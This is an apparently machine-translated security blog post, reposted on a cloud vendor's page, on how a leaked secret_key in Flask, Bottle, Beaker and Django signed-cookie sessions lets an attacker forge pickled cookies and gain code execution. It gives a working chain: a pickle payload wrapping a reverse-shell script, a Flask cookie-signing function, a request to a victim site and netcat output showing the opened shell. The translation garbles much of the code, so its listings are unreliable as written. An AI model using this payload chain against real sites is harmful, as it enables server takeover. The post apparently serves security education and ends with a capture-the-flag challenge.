For the management of some session programs in the Python framework _python

Source: Internet
Author: User
Tags base64 hmac sessions sql injection

Django, bottle, flask, and all of the Python web frameworks need to be configured with a secret_key. Documents usually recommend that we use random values, but I find it hard to see any textual explanations because they are easy to crack (local attack or text reading is more vulnerable in web apps). Attackers can use Secret_key to forge COOKIES,CSRF token and then use the Administrator tool. But it's hard to do, but he can do some minor damage, like executing malicious code. That's what I'm going to introduce next.

Remember using PHP to find a bug that can read any file on the server (without local files), you will be forced to choose Remote Code Execution (RCE). You will need to review most of the app resource files to find other bugs or useful information (such as user passwords, or database information, etc.). In this case, can we say that PHP is more secure?
When attacking a Python web framework, an attacker who knows the Secret_key field you set up can simply escalate a lfr attack to a rce attack. I have come to the conclusion from attacking a series of website frames. In these web site frameworks, there are similarities, using pickle as a way to serialize a signed cookie.

In the flask Framework, flask config[' secret_key ' is given a value, Session_cookie_name (default= ' session ') exists in the cookie, Deserialize the cookie even when there is no session. (This is so good that attackers can create a backdoor simply by adding Secret_key to config file, and naïve users will think it's "important")

The inverse sequence method extracted from the Werkzeug library is this:

Def unserialize (CLS, String, Secret_key):
    if Isinstance (String, Unicode):
      string = String.encode (' Utf-8 ', ' Replace ')
    try:
      base64_hash, data = String.Split ('? ', 1)
    except (ValueError, Indexerror):
      items = ()
    else:
      items = {}
      mac = HMAC (Secret_key, None, Cls.hash_method)
      #-Snip---
      try:
        Client_ hash = Base64_hash.decode (' base64 ')
      except Exception:
        items = Client_hash = None
      if items are not none and S AFE_STR_CMP (Client_hash, Mac.digest ()):
        try:
          for key, value in Items.iteritems ():
            Items[key] = Cls.unquote (value)
        except Unquoteerror:
          #-Snip-
      else:
        items = () return
    CLS (items, Secret_key, False)

The reverse sequence method checks the signature and then unquote the value of the () cookie if the signature is correct. The Unquote () method looks very innocent, but in fact, it's a default pickle.

#: The module used for serialization. Unless overriden by subclasses
#: The Standard pickle module is used.
Serialization_method = Pickle
def unquote (CLS, value):
  #--Snip--
    if cls.quote_base64:
      value = Value.decode (' base64 ')
    if Cls.serialization_method is not None:
      value = cls.serialization_method.loads (value ) return
    Value #--Snip--
  

Bottle: There is no real secret key in the default bottle setting, but someone might want to use the signed cookie to encrypt his own cookies.

Let's take a look at what the code is like:

def get_cookie (self, key, Default=none, Secret=none):
  value = Self.cookies.get (key)
  if secret and value:
    Dec = Cookie_decode (value, Secret) # (key, value) tuple or None return
    dec[1] if Dec and dec[0] = = Key Else def Ault return
  value or default

When the key is displayed and there are other values in the cookie, the Cookie_decode method is invoked:

def cookie_decode (data, key):
  data = Tob (data)
  if cookie_is_encoded (data):
    sig, Msg = Data.split (Tob ('? '), 1
    If _LSCMP (sig[1:], Base64.b64encode (Hmac.new (Tob (key), MSG). Digest ()): Return
      pickle.loads ( Base64.b64decode (msg)) return
  None

Again, we saw the pickle!

Beaker session: (Any service can use Beaker middleware on sessions, bottle framework even recommended) beaker.session has many functions, and this can be confusing: There are three key Secret_key, Validate_key, Encrypted_key)

Encrypt_key: Encrypts cookie information and then either sends (session.type= "cookie"/cookie mode) to the client or stores it in (session.type= "file"/file mode). If Encrypt_key is not set, the cookie is not encrypted and will only be encoded by Base64. When there is a encrypt_key, the cookie is Encrypted_key, validate_key (optional), and a random value is encrypted using the AES method.
Validate_key: Used to sign encrypted cookies
Secret: Sign Cookies in file mode (I don't know why they just use a validate_key!) )

Of course, when someone has Read permission on a file, he or she naturally knows all the fields. However, File mode does not allow an attack because we have no control over the serialized data, for example, when the data is stored on a local hard disk. In cookie mode, the attack can be set up even if the cookie is encoded (because we know how to encrypt, haha). You might ask, that random parameter is unknowable, you can't attack, fortunately this random parameter is also part of the session data that the cookie is stored in, so we can replace it with any value we need.

Here is the code that they constructed the session data


def _encrypt_data (self, Session_data=none): "" "
   Serialize, Encipher, and base64 the session Dict" "
   session_ data = Session_data or self.copy ()
   if self.encrypt_key:
     nonce = B64encode (Os.urandom (6)) [: 8]
     Encrypt_key = Crypto.generatecryptokeys (Self.encrypt_key,
                     Self.validate_key + nonce, 1)
     data = Util.pickle.dumps (session_ Data, 2) return
     nonce + b64encode (crypto.aesencrypt (data, Encrypt_key))
   else:
     data = Util.pickle.dumps ( Session_data, 2) return
     B64encode (data)

We clearly see the risks involved in the processing of these data.


Django: The most well-known is also one of the most complex server frameworks in the Python language. And, yes, Django developers put a pretty good warning on the cookie session. In my humble opinion, this warning is not enough, but should be replaced with ' fatal ' or ' warning ' and marked with red.

How does Django work? We can easily find readable answers from Django's documents: In a nutshell, Django gives session 3 items that can be set: Db,file and Signed_cookie. Once again, we are only interested in Signed_cookie, because we can easily change it. If the session_engine is set to "Django.contrib.sessions.backends.signed_cookies", we are sure that Signed_cookie is the back for session management.

Interestingly, if we construct a SessionID in the request cookie, it will always be deserialized. Django also gives us a good example of how cookies are signed. It makes our work a lot easier.


our attack.

We have not yet discussed how we attack (some you may already know)! Thank you for your patience see Finally, I wrote it in the end because the attacking means is full of commonness and simplicity (yes, principled knowledge).

Here, we can read any file. It is not difficult to find the configuration file for the Python application because there is import (imports) everywhere. When we get the key, we can simply implement (or reuse) the cookie that signed the web framework and use our malicious code. Because they use pickle.loads () deserialization, our use of pickle.dumps () saves the malicious code.

Piclke.dump () and loads () are usually safe when dealing with integers, strings, sequences, hashes, dictionary types .... But he's not safe when dealing with some maliciously constructed data types! In fact, an attacker could execute arbitrary python code by constructing a data type. I wrote a nice little program. The Python code converts to an object that is pickle serialized. We should start reading from connback.py (this is actually a reverse-linked shell), and then we'll entice the other site to serialize it using the Pickle method. If someone executes pickle.loads (payload), then our reverse-link shell is activated.

Code = B64 (Open (' connback.py '). Read ())
class Ex (object):
  def __reduce__ (self): return
    (eval, (' Str ( Compile ("%s". Decode ("base64"), "Q", "exec")). Strip ("None") '% (code)) '
payload = Pickle.dumps (ex ())

Now we sign (for the Flask web framework):

def send_flask (key, payload):
  data = ' id= ' +b64 (payload)
  mac = b64 (HMAC (key, ' | ') +data, HASHLIB.SHA1). Digest ())
  s = '% (SIG) s?% ( Data) s '% {' sig ': Mac, ' Data ':d ATA}

and then send

Print Requests.get (' http://victim/', cookies={' session ': s})

In another terminal:

danghvu@thebeast:~$ nc-lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted!p0wn! congratulation
!!
Sh:no Job Control in this shell
sh-4.1$
 

What else is there?

-So what? As long as you don't know my secret_key, I'm safe! Yes, you can do this .... But and declared: "I put my keys on the roof, I know you can't climb up ..." no difference.

-OK, so if I don't use this session cookie, I'll be safe! Yes, it's safer to store sessions in a file on a small web app (we're also at risk of SQL injection if we put it in db). But if it's a large web app, then you have a distributed way of storing it, which can lead to serious efficiency problems.

-Then what? Perhaps we should let those web frameworks not be serialized with Piclke? I do not know if there is such a framework, if there is a good word. is PHP more secure? Actually, it's not so.

At last:

web.py, when I looked at their web session documentation, I found that: cookiehandler–dangerous, unsecure, experimental

So, well done: D, maybe everyone should do it. You should try web.py and other frames.

I did this, and if you want it to work, you can take some time.

As a gift, this site has this loophole, let's see if you can upgrade the LFR bug into a rce, and then you'll find the real gift: a flag ...

Update: The source of the vulnerable site on the GitHub, its secret_key has been different.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.